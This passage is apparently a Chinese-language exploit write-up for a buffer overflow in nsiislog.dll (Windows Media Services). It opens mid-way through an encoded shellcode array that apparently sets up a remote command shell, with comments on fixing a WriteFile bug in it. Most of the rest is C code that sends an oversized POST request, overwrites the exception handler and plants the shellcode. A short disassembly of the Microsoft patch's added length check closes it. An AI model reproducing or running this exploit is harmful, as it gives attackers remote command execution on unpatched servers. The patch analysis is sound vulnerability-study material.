|
//这里修改了一下错误的SHELLCODE,原来的是 \xc0\x6b\xa4\x5e\xc6\xc7, //把WRITEFILE的最后2个参数传反了,导致写入管道失败,这样就无法传入命令 // 原来的: PUSH EDI(是一个地址) 修改后: XOR ECX ECX // XOR ECX ECX PUSH ECX // PUSH ECX PUSH EDI // PUSH EAX (收到的缓冲字节数) PUSH EAX // PUSH ESI (缓冲指针) PUSH ESI // PUSH [EDX-54] PUSH [EDX-54] // CALL WRITEFILE CALL WRITEFILE // 会导致写入管道失败
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xa4\x5e\xc6\xc0\xc7" "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68" "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f" "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75" "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0" "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5" "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2" "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6" "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97" "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc" "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb" "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97" "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2" "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4" "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97" "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2" "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97" "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97" "\x68\x68\x68\x68"; void main (int argc, char **argv) { WSADATA WSAData; SOCKET s; SOCKADDR_IN addr_in; unsigned char buf[1000]; unsigned char testbuf[0x10000]; int len; char t1[]="POST /scripts/nsiislog.dll HTTP/1.1\r\nHost: 192.168.10.210\r\nContent-length: 65536\r\n\r\n";//4364
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; }
hostName = argv[1];
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(80); addr_in.sin_addr.S_un.S_addr=inet_addr(hostName); memset(testbuf,0,0x10000); if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } len=sizeof(t1)-1; memcpy(testbuf,t1,len); send(s,testbuf,len,0); recv(s,buf,1000,0); memset(testbuf,’A’,65536);//4364 len=65536;//4364; *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址 *(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值 memcpy(testbuf+0x270c,shellcode,sizeof(shellcode)); send(s,testbuf,len,0); closesocket (s); WSACleanup(); return; }
补丁机理: WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞,如下:
.text:40F01FCA mov eax, 1100h .text:40F01FCF call sub_40F02D30 .text:40F01FD4 push ebx .text:40F01FD5 push esi .text:40F01FD6 push edi .text:40F01FD7 mov edi, [ebp+arg_8] .text:40F01FDA or ecx, 0FFFFFFFFh .text:40F01FDD xor eax, eax .text:40F01FDF repne scasb .text:40F01FE1 mov esi, [ebp+arg_4] .text:40F01FE4 mov eax, 0FFFh 〈-----------------------强制EAX=0XFFF(小于分配的空间0X1100); .text:40F01FE9 not ecx .text:40F01FEB dec ecx .text:40F01FEC cmp esi, eax 〈------------------------比较是否超过 .text:40F01FEE mov ebx, ecx .text:40F01FF0 jbe short loc_40F01FF4 .text:40F01FF2 mov esi, eax 〈----------------------STRNCPY的第三个参数不会超过0XFFF,这样就不会溢出 .text:40F01FF4 .text:40F01FF4 loc_40F01FF4: ; CODE XREF: sub_40F01FC7+29j .text:40F01FF4 push esi .text:40F01FF5 lea eax, [ebp+var_1100] .text:40F01FFB push [ebp+arg_0] .text:40F01FFE push eax .text:40F01FFF call ds:strncpy
OVER
|